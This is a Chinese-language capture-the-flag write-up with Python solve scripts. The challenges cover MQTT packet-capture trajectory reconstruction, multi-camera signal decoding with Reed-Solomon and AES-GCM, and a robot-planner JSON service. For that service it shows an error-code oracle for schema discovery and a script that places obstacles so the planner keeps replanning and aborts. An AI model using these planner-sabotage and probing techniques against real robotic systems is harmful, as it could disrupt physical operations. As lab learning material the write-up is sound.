完整的抓包还原、遥测重建与渲染脚本如下。保存为 last_gesture_solve.py,与 last_gesture.pcapng 放在同一目录后直接运行;脚本会先重组 TCP 流并解析 MQTT,再按 command_seq 取 settled 遥测、做正运动学并输出 accepted/rejected 两套轨迹图。
#!/usr/bin/env python3
import collections, pickle, bisect, json
from scapy.all import PcapNgReader, IP, TCP
p = r"last_gesture.pcapng"
segs = collections.defaultdict(list)
for pkt in PcapNgReader(p):
if IP not in pkt or TCP not in pkt: continue
ip, t = pkt[IP], pkt[TCP]
pl = bytes(t.payload)
if not pl: continue
segs[(ip.src, t.sport, ip.dst, t.dport)].append((t.seq, pl, float(pkt.time)))
def reassemble(lst):
lst.sort(key=lambda x: x[0])
out = bytearray(); times = []
base = lst[0][0]
for seq, pl, ts in lst:
off = (seq - base) & 0xFFFFFFFF
if off > 0x80000000: off -= 0x100000000
if off < 0: continue
if off > len(out): out.extend(b'\x00'*(off-len(out)))
out[off:off+len(pl)] = pl
times.append((off, ts))
times.sort()
return bytes(out), times
def t_at(times, off):
i = bisect.bisect_right(times, (off, 1e18)) - 1
return times[max(i,0)][1] if times else 0.0
def parse_mqtt(data, times, label):
msgs = []
i = 0
while i < len(data):
start = i
b = data[i]; typ = b >> 4; flags = b & 0xf
mult = 1; rl = 0; j = i+1
while j < len(data):
d = data[j]; j += 1
rl += (d & 0x7f)*mult; mult *= 128
if not (d & 0x80): break
body = data[j:j+rl]
if typ == 3:
tl = (body[0]<<8)|body[1]
topic = body[2:2+tl].decode('utf-8','replace')
rest = body[2+tl:]
if flags & 0x6:
pid = (rest[0]<<8)|rest[1]; rest = rest[2:]
qos = (flags>>1)&3
else:
qos = 0
msgs.append({'t': t_at(times, start), 'off': start, 'dir': label, 'topic': topic,
'qos': qos, 'retain': flags&1, 'payload': rest, 'typ': typ, 'flags': flags})
elif typ in (1,8,12):
msgs.append({'t': t_at(times, start), 'off': start, 'dir': label, 'topic': None,
'typ': typ, 'payload': body, 'flags': flags})
i = j + rl
return msgs
allmsgs = []
for k, v in segs.items():
if k[3] != 1883 and k[1] != 1883: continue
data, times = reassemble(v)
allmsgs += parse_mqtt(data, times, f"{k[0]}:{k[1]}->{k[2]}:{k[3]}")
allmsgs.sort(key=lambda x: (x['t'], x['off']))
print("total msgs", len(allmsgs))
print(collections.Counter(m['topic'] for m in allmsgs if m['topic']))
with open('msgs.pkl', 'wb') as f:
pickle.dump(allmsgs, f)
# print meta/job/cmd/begin/end messages
for m in allmsgs:
if m['topic'] and ('meta' in m['topic'] or 'job' in m['topic']):
print(round(m['t'],3), m['dir'], m['topic'], m['payload'][:400])
print("=== cmd msgs (first 40) ===")
cnt=0
for m in allmsgs:
if m['topic'] and m['topic'].endswith('/cmd'):
print(round(m['t'],4), m['dir'], m['payload'][:300])
cnt+=1
if cnt>40: break
import pickle, json, collections, math, sys
import numpy as np
MSGS = 'msgs.pkl'
msgs = pickle.load(open(MSGS, 'rb'))
pub = [m for m in msgs if m['typ'] == 3 and m['dir'].startswith('192.168.125.21')]
cmd, ack = {}, {}
joint = collections.defaultdict(list)
for m in pub:
t = m['topic']
if t not in ('muse/MUSE-07/cmd', 'muse/MUSE-07/ack', 'muse/MUSE-07/joint'):
continue
try:
o = json.loads(m['payload'])
except Exception:
continue
if t.endswith('/cmd'):
cmd[o['seq']] = o
elif t.endswith('/ack'):
ack[o['command_seq']] = o
else:
joint[o['command_seq']].append(o)
TICKS = 16384.0
ZERO = 8192.0
L1, L2 = 160.0, 140.0
def th(enc):
return (enc - ZERO) * 2 * math.pi / TICKS
rows = []
for s, c in cmd.items():
js = [j for j in joint.get(s, []) if j.get('settled')]
if not js:
continue
j = js[-1]
t1, t2 = th(j['encoder1']), th(j['encoder2'])
x = L1 * math.cos(t1) + L2 * math.cos(t1 + t2)
y = L1 * math.sin(t1) + L2 * math.sin(t1 + t2)
a = ack.get(s, {})
rows.append(dict(seq=s, job=c['job_id'], op=c['op'], tool=c['tool'],
acc=a.get('accepted'), reason=a.get('reason'), state=a.get('state'),
x=x, y=y, e1=j['encoder1'], e2=j['encoder2']))
rows.sort(key=lambda r: r['seq'])
print('rows', len(rows))
byjob = collections.Counter((r['job'], r['tool'], r['acc']) for r in rows)
for k, v in sorted(byjob.items()):
print(v, k)
np.save('rows.npy', np.array(rows, dtype=object), allow_pickle=True)
# render helper
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
def render(sel, path, title):
if not sel:
print('empty', path); return
xs = [r['x'] for r in sel]; ys = [r['y'] for r in sel]
w = max(xs) - min(xs); h = max(ys) - min(ys)
fig, ax = plt.subplots(figsize=(max(6, w / 40), max(3, h / 40)))
ax.plot(xs, ys, '-', lw=1.2, color='k')
ax.set_aspect('equal'); ax.axis('off'); ax.set_title(title, fontsize=8)
fig.tight_layout(); fig.savefig(path, dpi=200); plt.close(fig)
print('saved', path, 'n=', len(sel))
main = [r for r in rows if r['job'] == 'job-73a26c383e']
print('main job rows', len(main))
for tool in ('DOWN', 'UP'):
sel = [r for r in main if r['tool'] == tool]
print(tool, len(sel), 'acc', collections.Counter(r['acc'] for r in sel))
render(main, 'R_main_all.png', 'main job all moves (continuous pen)')
render([r for r in main if r['tool'] == 'DOWN'], 'R_main_down.png', 'main job DOWN only')
render([r for r in main if r['acc']], 'R_main_accepted.png', 'main job accepted only')
render([r for r in main if r['acc'] is False], 'R_main_rejected.png', 'main job rejected only')
rast = [r for r in rows if r['job'] == 'job-2f32c03279']
print('raster job rows', len(rast))
render(rast, 'R_raster_all.png', 'job-2f32c03279 all (cancelled raster)')
render([r for r in rast if r['tool'] == 'DOWN'], 'R_raster_down.png', 'raster DOWN only')
hist = [r for r in rows if r['job'] == 'job-cdea45c3e5']
print('history rows', len(hist))
print([(r['seq'], round(r['x'], 1), round(r['y'], 1), r['tool'], r['acc']) for r in hist])
9. Moth Signal
基础知识
多传感器时间对齐先估计时钟仿射关系 t_i = a + b*t_ref,再做插值和坐标变换;三路轨迹在同一时刻应重合,异常段可以用成对距离最小的一对做中值/均值修复。通信帧由前导码、载荷和导频组成,先做帧同步和去导频,再按硬判决得到码字。
Reed-Solomon RS(31,19) 可以纠正错误和擦除;把最不可靠的位作为 erasure 送进解码,通常比盲猜更稳。最后 HKDF 派生密钥、AES-GCM 解封,认证标签通过才算恢复正确。
附件包含 cam_a.npz、cam_b.npz、cam_c.npz 和 evidence.json。三份 NPZ 均保存本地时间与三维轨迹,但三台相机没有共享时钟,坐标轴定义也不一致,部分区段存在缺失或剪贴。处理时以 cam_b 为参考,将另外两路时间表示为仿射关系,并完成坐标变换。求得 t_c=-0.11228043+0.99837465t,t_a=0.26240553+0.99876041t。
三路记录映射到同一时间轴后,正常区段的两路距离约为千分之几,异常区段的距离明显增大。对每个采样点分别计算 AB、AC、BC 三个欧氏距离,选择距离最小的一对并取均值,可排除该时刻的异常记录。三台相机的异常区间不重合,因此可以按采样点恢复连续轨迹。
evidence.json 给出了帧结构。前导码是 0x2d734b,共 24 bit;有效载荷是 RS(31,19) 的 248 bit;每 31 个载荷位后插入 0110 导频,最后一组不再插。整帧正好 300 个时隙。用前导码和导频扫起点与周期后,最合适的起点是 5.89 秒,时隙长度是 1.4988 秒。
幅度、能量和频谱特征会受到机械臂慢速运动的影响,轨迹 0 与轨迹 2 的相关关系相对稳定。每个时隙先用五次多项式去除慢趋势,再计算两条轨迹的 Pearson 相关系数。阈值取 0.112586,高于阈值记 1,低于阈值记 0。已知前导码和导频位置的硬判决准确率为 96.15%,其余误码由 RS 纠错处理。
去掉前导码与七组导频后,硬判决得到 31 字节码字 4d53313291b252f65c21c486b7c3fff7a2e3f80946822caebf6df4ee0840e8。按每个字节中最不可靠的那一位排序,把 13、19、24、28、30 号字节作为擦除位送进 RS(31,19),解出的 19 字节是 4d53313291b252f65c21c686b7d3fff7a2e3f8。开头的 MS1 是记录头,后面的 16 字节就是维护令牌 3291b252f65c21c686b7d3fff7a2e3f8。
把令牌交给 HKDF-SHA256 派生 32 字节密钥,再从 evidence.json 取 salt、info、nonce、AAD 和密文做 AES-256-GCM 解密,认证标签可以正常通过,明文就是下面的 flag。

#!/usr/bin/env python3
from pathlib import Path
import base64, json
import numpy as np
from reedsolo import RSCodec
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
BASE = Path(__file__).resolve().parent
cfg = {
"cam_b": (
(0, 1),
np.array([
[0, 0, 0],
[1, 0, 0],
[0, 1, 0],
[0, 0, 1.0],
]),
),
"cam_c": (
(-0.11228043, 0.99837465),
np.array([
[0.209246581, -0.0351732696, 0.180023232],
[-1.00713939, 0.000335746, -0.000098643],
[-0.000133216, -0.943789702, -0.000025393],
[-0.000267375, -0.000469746, 0.883482336],
]),
),
"cam_a": (
(0.26240553, 0.99876041),
np.array([
[0.142000013, 0.007298581, 0.072149514],
[-0.000308873, -0.000249140, -0.427729990],
[-0.374131890, 0.000337399, -0.000185591],
[-0.000023145, -0.915762257, 0.000504846],
]),
),
}
u = np.arange(0, 457.8, .005)
aligned = []
for name, ((a, b), mat) in cfg.items():
z = np.load(BASE / f"{name}.npz")
t, x = z["time"], z["tracks"].astype(float)
t = t - t[0]
for j in range(3):
ok = ~np.isnan(x[:, j])
x[:, j] = np.interp(t, t[ok], x[ok, j])
tt = a + b * u
xx = np.column_stack([np.interp(tt, t, x[:, j]) for j in range(3)])
aligned.append(np.column_stack([np.ones(len(u)), xx]) @ mat)
Y = np.array(aligned)
d = np.stack([
np.linalg.norm(Y[0] - Y[1], axis=1),
np.linalg.norm(Y[0] - Y[2], axis=1),
np.linalg.norm(Y[1] - Y[2], axis=1),
])
pair = np.argmin(d, axis=0)
repaired = np.empty((len(u), 3))
for k, (i, j) in enumerate([(0, 1), (0, 2), (1, 2)]):
m = pair == k
repaired[m] = (Y[i, m] + Y[j, m]) / 2
start, slot, threshold = 5.89, 1.4988, 0.11258609225644861
q = np.linspace(0, 1, 120)
A = np.c_[np.ones(len(q)), q, q**2, q**3, q**4, q**5]
bits = []
for k in range(300):
tt = start + (k + q) * slot
seg = np.column_stack([np.interp(tt, u, repaired[:, j]) for j in range(3)])
seg -= A @ np.linalg.lstsq(A, seg, rcond=None)[0]
rho = np.corrcoef(seg[:, 0], seg[:, 2])[0, 1]
bits.append(int(rho > threshold))
pilots = {p for g in range(7) for p in range(55 + 35 * g, 59 + 35 * g)}
pos = [p for p in range(24, 300) if p not in pilots]
payload_bits = [bits[p] for p in pos]
payload = bytes(
int("".join(map(str, payload_bits[i:i + 8])), 2)
for i in range(0, 248, 8)
)
decoded = bytes(
RSCodec(12, nsize=31, fcr=0, prim=0x11d)
.decode(payload, erase_pos=[13, 19, 24, 28, 30])[0]
)
ev = json.loads((BASE / "evidence.json").read_text("utf-8"))
s = ev["sealed"]
key = HKDF(
algorithm=hashes.SHA256(),
length=32,
salt=base64.b64decode(s["salt_b64"]),
info=s["key_derivation"]["info_utf8"].encode(),
).derive(decoded[3:19])
plain = AESGCM(key).decrypt(
base64.b64decode(s["nonce_b64"]),
base64.b64decode(s["ciphertext_b64"]),
base64.b64decode(s["aad_b64"]),
)
print("decoded =", decoded.hex())
print("token =", decoded[3:19].hex())
print("flag =", plain.decode())
10. Slow-Sunday
基础知识
逐行 JSON 协议题先把 hello/probe/commit 的状态机和预算列清楚;session 与连接绑定,结构错误和 session 错误可能返回不同错误码,可以当黑盒 oracle。机器人布局要理解走廊坐标:u 沿走廊、v 横向,按 bay 归一化;物体有包围盒和 yaw。
规划器检查 clearance、可达性和路径;想稳定触发 ABORTED,不是随便堆障碍,而是构造“看着能过、实际反复 REPLAN/RECOVERY”的连续干扰带。先 probe 确认 valid/reachable/outcome,再用 commit 隐藏 episode 做最终验证。
这题的服务是逐行 JSON 协议,连上以后先发 {"op":"hello"}。返回值里有本次会话的 session、随机场景和预算。probe 一次最多带 16 个布局,每个布局最多放 5 个物体;commit 只有两次机会,所以正式提交前要先确认 valid、reachable 和 outcome。
objects 的元素必须正好包含 kind、zone、u、v、yaw 五个字段。服务先检查请求结构,再检查 session。使用 32 个 0 作为假 session 时,结构错误返回 bad_request,结构正确返回 invalid_session。该测试不消耗 probe 预算。通过逐项删除字段、增加字段和替换类型,可以确定 objects 的完整 schema。
u 是物体沿走廊方向的位置,v 是横向位置,两个值都按所在 bay 归一化。v=0 靠近走廊,v=1 靠外墙。场景里走廊半宽与 bay 内缘的差约等于 placement_clearance,这也印证了这个坐标口径。物体旋转后按包围盒检查边界,因此贴内缘摆放时 yaw 必须保持 0。
单个物体只会改变 clearance,规划器仍会到达终点。稳定触发放弃的布局是在同一侧 bay 内放置五个 wrapped_tote。该物体宽度为 0.37,适合沿内缘密排。横向位置取 v=W/(2·span_l)+0.021,纵向位置依次取 0.30、0.45、0.60、0.75、0.90。该布局形成连续干扰带,同时保留可通行空间。
获胜样本中 v=0.23637。probe 返回 valid=true、clearance=tight、path=direct、reachable=true,说明布局合法且通道仍能通行;运行轨迹里出现三次 REPLAN 和三次 RECOVERY,最后 outcome=ABORTED。相同布局交给 commit 后通过 8 个隐藏 episode,状态从 not_robust 变为 accepted。
#!/usr/bin/env python3
import json, socket
HOST, PORT = "192.168.18.21", 31337
def ask(f, obj):
f.write((json.dumps(obj, separators=(",", ":")) + "\n").encode())
return json.loads(f.readline())
s = socket.create_connection((HOST, PORT), timeout=10)
f = s.makefile("rwb", buffering=0)
h = ask(f, {"op": "hello"})
scene, session = h["scene"], h["session"]
zone = next(z for z in scene["zones"] if z["side"] == "left")
tote = next(x for x in scene["catalog"] if x["kind"] == "wrapped_tote")
span_l = abs(abs(zone["l"][1]) - abs(zone["l"][0]))
v = tote["width"] / 2 / span_l + 0.021
objects = [{"kind": "wrapped_tote", "zone": zone["id"],
"u": round(0.30 + i * 0.15, 5), "v": round(v, 5), "yaw": 0.0}
for i in range(5)]
layout = {"objects": objects}
probe = ask(f, {"op": "probe", "session": session, "layouts": [layout]})
print("probe =", json.dumps(probe, ensure_ascii=False))
r = probe["results"][0]
assert r["valid"] and r["physical"]["reachable"]
assert r["run"]["outcome"] == "ABORTED"
commit = ask(f, {"op": "commit", "session": session, "layout": layout})
print("commit =", json.dumps(commit, ensure_ascii=False))
print("flag =", commit.get("flag"))